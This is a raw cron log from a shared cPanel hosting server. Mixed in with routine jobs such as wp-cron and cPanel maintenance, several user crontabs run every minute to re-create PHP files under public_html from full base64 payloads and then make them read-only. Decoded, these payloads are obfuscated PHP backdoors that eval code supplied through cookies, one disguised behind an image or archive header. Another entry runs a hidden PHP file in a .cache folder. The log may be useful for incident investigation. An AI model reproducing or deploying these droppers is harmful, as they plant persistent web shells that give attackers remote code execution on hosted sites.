Mar  1 15:36:01 medusa CROND[21964]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:36:01 medusa CROND[21965]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:36:01 medusa CROND[21967]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:36:01 medusa CROND[21970]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:36:01 medusa CROND[21971]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:36:01 medusa CROND[21972]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:37:01 medusa CROND[11414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:37:01 medusa CROND[11416]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:37:01 medusa CROND[11417]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:37:01 medusa CROND[11419]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:37:01 medusa CROND[11420]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:37:01 medusa CROND[11421]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  1 15:37:01 medusa CROND[11422]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:37:01 medusa CROND[11436]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:37:01 medusa CROND[11437]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:37:01 medusa CROND[11438]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:37:01 medusa CROND[11441]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:37:01 medusa CROND[11443]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:37:01 medusa CROND[11444]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:37:01 medusa CROND[11440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:38:02 medusa CROND[2340]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:38:02 medusa CROND[2343]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:38:02 medusa CROND[2344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:38:02 medusa CROND[2345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:38:02 medusa CROND[2346]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:38:02 medusa CROND[2348]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:38:02 medusa CROND[2349]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:38:02 medusa CROND[2351]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:38:02 medusa CROND[2352]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:38:02 medusa CROND[2353]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:38:02 medusa CROND[2361]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:38:02 medusa CROND[2370]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:38:02 medusa CROND[2371]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:39:01 medusa CROND[25289]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:39:01 medusa CROND[25324]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:39:01 medusa CROND[25325]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
